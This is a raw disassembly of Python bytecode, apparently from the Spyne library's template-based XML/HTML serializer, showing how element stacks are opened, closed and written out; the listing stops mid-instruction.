LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST v LOAD_METHOD when LOAD_FAST inst LOAD_FAST ctx CALL_METHOD STORE_FAST is_shown LOAD_FAST is_shown POP_JUMP_IF_FALSE LOAD_FAST k LOAD_FAST v BUILD_TUPLE YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _mrpc_cloth LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD warning LOAD_CONST "missing 'mrpc_template'" CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE SETUP_LOOP to 182 LOAD_FAST self LOAD_METHOD _get_elts LOAD_FAST template LOAD_FAST self LOAD_ATTR MRPC_ID CALL_METHOD GET_ITER FOR_ITER to 180 STORE_FAST elt SETUP_LOOP to 178 LOAD_FAST self LOAD_METHOD _methods LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst CALL_METHOD GET_ITER FOR_ITER to 176 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST v LOAD_ATTR in_message LOAD_METHOD get_type_name CALL_METHOD STORE_FAST href LOAD_FAST v LOAD_METHOD translate LOAD_FAST ctx LOAD_ATTR locale LOAD_FAST v LOAD_ATTR in_message LOAD_METHOD get_type_name CALL_METHOD CALL_METHOD STORE_FAST text LOAD_GLOBAL deepcopy LOAD_FAST self LOAD_ATTR _mrpc_cloth CALL_FUNCTION STORE_FAST mrpc_template LOAD_FAST self LOAD_METHOD _get_clean_elt LOAD_FAST mrpc_template LOAD_CONST 'mrpc_link' CALL_METHOD STORE_FAST anchor LOAD_FAST href LOAD_FAST anchor LOAD_ATTR attrib LOAD_CONST 'href' STORE_SUBSCR LOAD_FAST self LOAD_METHOD _get_clean_elt LOAD_FAST mrpc_template LOAD_CONST 'mrpc_text' CALL_METHOD STORE_FAST text_elt LOAD_FAST text_elt LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST text LOAD_FAST text_elt STORE_ATTR text JUMP_FORWARD to 164 LOAD_FAST text LOAD_FAST anchor STORE_ATTR text LOAD_FAST elt LOAD_METHOD append LOAD_FAST mrpc_template CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'entering %s %r nsmap=%r attrib=%r skip=%s method=%s' LOAD_FAST cloth LOAD_ATTR tag LOAD_FAST cloth LOAD_ATTR attrib LOAD_FAST cloth LOAD_ATTR nsmap LOAD_FAST attrib LOAD_FAST skip LOAD_FAST method CALL_METHOD POP_TOP LOAD_FAST ctx LOAD_ATTR outprot_ctx LOAD_ATTR doctype_written POP_JUMP_IF_TRUE LOAD_DEREF self LOAD_METHOD write_doctype LOAD_FAST ctx LOAD_FAST parent LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR tags STORE_FAST tags LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR rootstack STORE_FAST rootstack LOAD_GLOBAL isinstance LOAD_FAST rootstack LOAD_GLOBAL oset CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR eltstack STORE_FAST eltstack LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR ctxstack STORE_FAST ctxstack LOAD_FAST eltstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST cureltstack LOAD_FAST ctxstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST curctxstack LOAD_FAST skip_dupe POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST cureltstack LOAD_CONST -1 BINARY_SUBSCR LOAD_FAST cloth COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST cloth LOAD_METHOD getroottree CALL_METHOD LOAD_METHOD getroot CALL_METHOD STORE_FAST cloth_root LOAD_FAST cloth_root LOAD_FAST rootstack COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST rootstack LOAD_METHOD add LOAD_FAST cloth_root CALL_METHOD POP_TOP LOAD_FAST eltstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST cureltstack LOAD_FAST ctxstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST curctxstack LOAD_FAST rootstack LOAD_ATTR back LOAD_FAST cloth_root COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS SETUP_LOOP to 240 LOAD_FAST rootstack LOAD_ATTR back LOAD_FAST cloth_root COMPARE_OP != POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_METHOD _close_cloth LOAD_FAST ctx LOAD_FAST parent CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None STORE_FAST last_elt LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cureltstack LOAD_CONST -1 BINARY_SUBSCR STORE_FAST last_elt LOAD_GLOBAL _revancestors LOAD_FAST cloth CALL_FUNCTION STORE_FAST ancestors SETUP_LOOP to 490 LOAD_FAST ancestors LOAD_CONST None LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION BUILD_SLICE BINARY_SUBSCR LOAD_FAST cureltstack COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cureltstack LOAD_METHOD pop CALL_METHOD STORE_FAST elt LOAD_FAST curctxstack LOAD_METHOD pop CALL_METHOD STORE_FAST elt_ctx LOAD_FAST elt STORE_FAST last_elt LOAD_FAST elt_ctx LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_ATTR event_manager LOAD_METHOD fire_event LOAD_CONST 'before_exit' LOAD_FAST elt BUILD_TUPLE LOAD_FAST ctx LOAD_FAST parent CALL_METHOD POP_TOP LOAD_FAST elt_ctx LOAD_METHOD __exit__ LOAD_CONST None LOAD_CONST None LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\texit norm %s %s' LOAD_FAST elt LOAD_ATTR tag LOAD_FAST elt LOAD_ATTR attrib CALL_METHOD POP_TOP LOAD_FAST elt LOAD_ATTR tail LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST elt LOAD_ATTR tail CALL_METHOD POP_TOP LOAD_FAST ancestors LOAD_CONST None LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION BUILD_SLICE BINARY_SUBSCR LOAD_FAST cureltstack COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 484 LOAD_FAST elt LOAD_ATTR itersiblings LOAD_CONST False LOAD_CONST ('preceding',) CALL_FUNCTION GET_ITER FOR_ITER to 482 STORE_FAST sibl LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\twrite exit sibl %s %r %d' LOAD_FAST sibl LOAD_ATTR tag LOAD_FAST sibl LOAD_ATTR attrib LOAD_GLOBAL id LOAD_FAST sibl CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST sibl CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK EXTENDED_ARG SETUP_LOOP to 788 LOAD_FAST ancestors LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION LOAD_CONST None BUILD_SLICE BINARY_SUBSCR GET_ITER EXTENDED_ARG FOR_ITER to 786 STORE_FAST anc LOAD_GLOBAL _prevsibls LOAD_FAST anc LOAD_DEREF self LOAD_ATTR strip_comments LOAD_FAST last_elt LOAD_CONST ('since',) CALL_FUNCTION STORE_FAST prevsibls SETUP_LOOP to 618 LOAD_FAST prevsibls GET_ITER FOR_ITER to 616 STORE_FAST elt LOAD_GLOBAL id LOAD_FAST elt CALL_FUNCTION LOAD_FAST tags COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\tskip anc prevsibl %s %r' LOAD_FAST elt LOAD_ATTR tag LOAD_FAST elt LOAD_ATTR attrib CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\twrite anc prevsibl %s %r 0x%x' LOAD_FAST elt LOAD_ATTR tag LOAD_FAST elt LOAD_ATTR attrib LOAD_GLOBAL id LOAD_FAST elt CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST elt CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK BUILD_MAP STORE_FAST kwargs LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST anc LOAD_ATTR nsmap LOAD_FAST kwargs LOAD_CONST 'nsmap' STORE_SUBSCR LOAD_FAST parent LOAD_ATTR element LOAD_FAST anc LOAD_ATTR tag LOAD_FAST anc LOAD_ATTR attrib BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST anc_ctx LOAD_FAST anc_ctx LOAD_METHOD __enter__ CALL_METHOD POP_TOP LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\tenter norm %s %r 0x%x method: %r' LOAD_FAST anc LOAD_ATTR tag LOAD_FAST anc LOAD_ATTR attrib LOAD_GLOBAL id LOAD_FAST anc CALL_FUNCTION LOAD_FAST method CALL_METHOD POP_TOP LOAD_FAST anc LOAD_ATTR text LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST anc LOAD_ATTR text CALL_METHOD POP_TOP LOAD_FAST rootstack LOAD_METHOD add LOAD_FAST anc LOAD_METHOD getroottree CALL_METHOD LOAD_METHOD getroot CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST eltstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST cureltstack LOAD_FAST ctxstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST curctxstack LOAD_FAST cureltstack LOAD_METHOD append LOAD_FAST anc CALL_METHOD POP_TOP LOAD_FAST curctxstack LOAD_METHOD append LOAD_FAST anc_ctx CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL _prevsibls LOAD_FAST cloth LOAD_DEREF self LOAD_ATTR strip_comments LOAD_FAST last_elt LOAD_CONST ('since',) CALL_FUNCTION STORE_FAST prevsibls SETUP_LOOP to 898 LOAD_FAST prevsibls GET_ITER FOR_ITER to 896 STORE_FAST elt LOAD_FAST elt LOAD_FAST last_elt COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE EXTENDED_ARG JUMP_ABSOLUTE LOAD_GLOBAL id LOAD_FAST elt CALL_FUNCTION LOAD_FAST tags COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\tskip cloth prevsibl %s %r' LOAD_FAST elt LOAD_ATTR tag LOAD_FAST elt LOAD_ATTR attrib CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '\twrite cloth prevsibl %s %r' LOAD_FAST elt LOAD_ATTR tag LOAD_FAST elt LOAD_ATTR attrib CALL_METHOD POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST elt CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST skip EXTENDED_ARG JUMP_IF_TRUE_OR_POP LOAD_FAST cloth LOAD_ATTR tag LOAD_DEREF self LOAD_ATTR DATA_TAG_NAME COMPARE_OP == STORE_FAST skip LOAD_FAST skip EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST tags LOAD_METHOD add LOAD_GLOBAL id LOAD_FAST cloth CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST method LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD method LOAD_FAST method CALL_METHOD STORE_FAST curtag LOAD_FAST curtag LOAD_METHOD __enter__ CALL_METHOD POP_TOP JUMP_FORWARD to 970 LOAD_CONST None STORE_FAST curtag JUMP_FORWARD to 1128 LOAD_GLOBAL dict LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab700dbb70, file "f.py", line 443> LOAD_CONST 'ToClothMixin._enter_cloth.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST cloth LOAD_ATTR attrib LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST cloth_attrib LOAD_FAST cloth_attrib LOAD_METHOD update LOAD_FAST attrib CALL_METHOD POP_TOP LOAD_DEREF self LOAD_ATTR event_manager LOAD_METHOD fire_event LOAD_CONST 'before_entry' LOAD_FAST cloth BUILD_TUPLE LOAD_FAST ctx LOAD_FAST parent LOAD_FAST cloth_attrib CALL_METHOD POP_TOP BUILD_MAP STORE_FAST kwargs LOAD_GLOBAL len LOAD_FAST cureltstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cloth LOAD_ATTR nsmap LOAD_FAST kwargs LOAD_CONST 'nsmap' STORE_SUBSCR LOAD_FAST method LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST method LOAD_FAST kwargs LOAD_CONST 'method' STORE_SUBSCR LOAD_FAST parent LOAD_ATTR element LOAD_FAST cloth LOAD_ATTR tag LOAD_FAST cloth_attrib BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST curtag LOAD_FAST curtag LOAD_METHOD __enter__ CALL_METHOD POP_TOP LOAD_FAST cloth LOAD_ATTR text LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST cloth LOAD_ATTR text CALL_METHOD POP_TOP LOAD_FAST rootstack LOAD_METHOD add LOAD_FAST cloth LOAD_METHOD getroottree CALL_METHOD LOAD_METHOD getroot CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST eltstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST cureltstack LOAD_FAST ctxstack LOAD_FAST rootstack LOAD_ATTR back BINARY_SUBSCR STORE_FAST curctxstack LOAD_FAST cureltstack LOAD_METHOD append LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST curctxstack LOAD_METHOD append LOAD_FAST curtag CALL_METHOD POP_TOP LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '' CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 32 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_DEREF self LOAD_ATTR SPYNE_ATTRS COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST k LOAD_FAST v BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR rootstack STORE_FAST rootstack LOAD_FAST rootstack LOAD_ATTR back STORE_FAST close_until LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR eltstack LOAD_FAST close_until BINARY_SUBSCR STORE_FAST cureltstack LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR ctxstack LOAD_FAST close_until BINARY_SUBSCR STORE_FAST curctxstack SETUP_LOOP to 238 LOAD_GLOBAL reversed LOAD_GLOBAL tuple LOAD_GLOBAL zip LOAD_FAST cureltstack LOAD_FAST curctxstack CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 236 UNPACK_SEQUENCE STORE_FAST elt STORE_FAST elt_ctx LOAD_FAST elt_ctx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR event_manager LOAD_METHOD fire_event LOAD_CONST 'before_exit' LOAD_FAST elt BUILD_TUPLE LOAD_FAST ctx LOAD_FAST parent CALL_METHOD POP_TOP LOAD_FAST elt_ctx LOAD_METHOD __exit__ LOAD_CONST None LOAD_CONST None LOAD_CONST None CALL_METHOD POP_TOP LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'exit %s close' LOAD_FAST elt LOAD_ATTR tag CALL_METHOD POP_TOP LOAD_FAST elt LOAD_ATTR tail LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST elt LOAD_ATTR tail CALL_METHOD POP_TOP SETUP_LOOP to 212 LOAD_FAST elt LOAD_ATTR itersiblings LOAD_CONST False LOAD_CONST ('preceding',) CALL_FUNCTION GET_ITER FOR_ITER to 210 STORE_FAST sibl LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'write %s nextsibl' LOAD_FAST sibl LOAD_ATTR tag CALL_METHOD POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST sibl CALL_METHOD POP_TOP LOAD_FAST sibl LOAD_ATTR tail LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST sibl LOAD_ATTR tail CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST elt LOAD_FAST close_until COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'closed until %r, breaking out' LOAD_FAST close_until CALL_METHOD POP_TOP BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR eltstack LOAD_FAST close_until DELETE_SUBSCR LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR ctxstack LOAD_FAST close_until DELETE_SUBSCR LOAD_GLOBAL len LOAD_FAST rootstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST rootstack LOAD_METHOD pop CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_class_cloth LOAD_FAST cls CALL_METHOD STORE_FAST cls_cloth LOAD_FAST cls_cloth LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%r to object cloth' LOAD_FAST cls CALL_METHOD POP_TOP LOAD_FAST cls_cloth STORE_FAST cloth LOAD_FAST ctx LOAD_ATTR protocol LOAD_FAST self BINARY_SUBSCR LOAD_ATTR rootstack LOAD_METHOD add LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD to_cloth LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST cloth LOAD_FAST parent LOAD_CONST '' CALL_METHOD STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_EXCEPT to 108 SETUP_LOOP to 104 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 184 DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 170 SETUP_EXCEPT to 140 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 166 DUP_TOP LOAD_GLOBAL Break LOAD_GLOBAL StopIteration LOAD_GLOBAL GeneratorExit BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 166 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 184 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST ctx LOAD_ATTR protocol LOAD_ATTR eltstack CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST ctx LOAD_ATTR protocol LOAD_FAST self BINARY_SUBSCR LOAD_ATTR rootstack LOAD_METHOD add LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('method',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD start_to_parent LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST name CALL_METHOD STORE_FAST ret LOAD_GLOBAL isgenerator LOAD_FAST ret CALL_FUNCTION POP_JUMP_IF_FALSE SETUP_EXCEPT to 118 SETUP_LOOP to 114 LOAD_CONST None YIELD_VALUE STORE_FAST sv2 LOAD_FAST ret LOAD_METHOD send LOAD_FAST sv2 CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 194 DUP_TOP LOAD_GLOBAL Break COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 180 SETUP_EXCEPT to 150 LOAD_FAST ret LOAD_METHOD throw LOAD_FAST e CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 176 DUP_TOP LOAD_GLOBAL Break LOAD_GLOBAL StopIteration LOAD_GLOBAL GeneratorExit BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 176 END_FINALLY POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 194 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ STORE_FAST prot_name LOAD_GLOBAL issubclass LOAD_FAST cls LOAD_GLOBAL XmlAttribute CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR type STORE_FAST cls LOAD_CONST True STORE_FAST as_attr JUMP_FORWARD to 50 LOAD_GLOBAL issubclass LOAD_FAST cls LOAD_GLOBAL XmlData CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR type STORE_FAST cls LOAD_CONST True STORE_FAST as_data LOAD_CONST False STORE_FAST pushed LOAD_FAST cloth LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'No cloth fround, switching to to_parent...' CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR to_parent LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST name BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION STORE_FAST ret EXTENDED_ARG JUMP_FORWARD to 656 LOAD_FAST self LOAD_METHOD get_polymorphic_target LOAD_FAST cls LOAD_FAST inst CALL_METHOD UNPACK_SEQUENCE STORE_FAST cls STORE_FAST _ LOAD_FAST self LOAD_METHOD get_cls_attrs LOAD_FAST cls CALL_METHOD STORE_FAST cls_attrs LOAD_FAST self LOAD_METHOD _sanitize LOAD_FAST cls_attrs LOAD_FAST inst CALL_METHOD STORE_FAST inst LOAD_FAST cls_attrs LOAD_ATTR default_factory STORE_FAST _df LOAD_FAST inst LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL callable LOAD_FAST _df CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST _df CALL_FUNCTION STORE_FAST inst LOAD_FAST inst LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST cls_attrs LOAD_ATTR default STORE_FAST inst LOAD_FAST cls_attrs LOAD_ATTR prot STORE_FAST subprot LOAD_FAST subprot LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST subprot LOAD_FAST self COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST as_attr POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError LOAD_CONST 'No subprot supported for fields to be serialized as attributes, use type casting with customized serializers in the current protocol instead.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST cls_attrs LOAD_ATTR method LOAD_FAST as_data LOAD_CONST ('method', 'skip') CALL_FUNCTION POP_TOP LOAD_FAST subprot LOAD_ATTR subserialize LOAD_FAST ctx LOAD_FAST cls LOAD_FAST inst LOAD_FAST parent LOAD_FAST name BUILD_TUPLE LOAD_FAST as_attr LOAD_FAST as_data LOAD_CONST ('as_attr', 'as_data') BUILD_CONST_KEY_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION STORE_FAST ret EXTENDED_ARG JUMP_FORWARD to 656 LOAD_CONST None STORE_FAST ret LOAD_FAST inst LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls_attrs LOAD_ATTR min_occurs LOAD_CONST 0 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE BUILD_MAP STORE_FAST attrs LOAD_FAST as_attr EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '' LOAD_FAST attrs LOAD_FAST name STORE_SUBSCR LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST attrs LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('attrib', 'method') CALL_FUNCTION POP_TOP LOAD_CONST '%s.%s' LOAD_FAST prot_name LOAD_CONST 'null_to_cloth' BUILD_TUPLE BINARY_MODULO STORE_FAST identifier LOAD_GLOBAL logger_s LOAD_METHOD debug LOAD_CONST "Writing '%s' using %s type: %s." LOAD_FAST name LOAD_FAST identifier LOAD_FAST cls LOAD_METHOD get_type_name CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST parent LOAD_METHOD write LOAD_FAST cloth CALL_METHOD POP_TOP JUMP_FORWARD to 424 LOAD_GLOBAL logger_s LOAD_METHOD debug LOAD_CONST "Skipping '%s' type: %s because empty." LOAD_FAST name LOAD_FAST cls LOAD_METHOD get_type_name CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_CONST True LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('skip', 'method') CALL_FUNCTION POP_TOP JUMP_FORWARD to 656 LOAD_FAST as_data EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD to_unicode LOAD_FAST cls LOAD_FAST inst CALL_METHOD STORE_FAST ret LOAD_FAST ret LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST parent LOAD_METHOD write LOAD_FAST ret CALL_METHOD POP_TOP JUMP_FORWARD to 656 LOAD_FAST as_attr EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST cls_attrs LOAD_ATTR sub_name STORE_FAST sub_name LOAD_FAST sub_name LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST name STORE_FAST sub_name LOAD_FAST sub_name LOAD_FAST self LOAD_METHOD to_unicode LOAD_FAST cls LOAD_FAST inst CALL_METHOD BUILD_MAP STORE_FAST attrs LOAD_FAST self LOAD_ATTR _enter_cloth LOAD_FAST ctx LOAD_FAST cloth LOAD_FAST parent LOAD_FAST attrs LOAD_FAST cls_attrs LOAD_ATTR method LOAD_CONST ('attrib', 'method') CALL_FUNCTION POP_TOP JUMP_FORWARD to 656 LOAD_CONST True STORE_FAST pushed LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST '%s %r pushed %r %r' LOAD_GLOBAL R LOAD_CONST '#' CALL_FUNCTION LOAD_FAST self LOAD_FAST cls LOAD_FAST inst CALL_METHOD POP_TOP LOAD_FAST ctx LOAD_ATTR outprot_ctx LOAD_ATTR inst_stack LOAD_METHOD append LOAD_FAST cls LOAD_FAST inst LOAD_FAST from_arr BUILD_TUPLE CALL_METHOD POP_TOP LOAD_FAST from_arr EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST cls LOAD_ATTR Attributes LOAD_ATTR max_occurs LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG 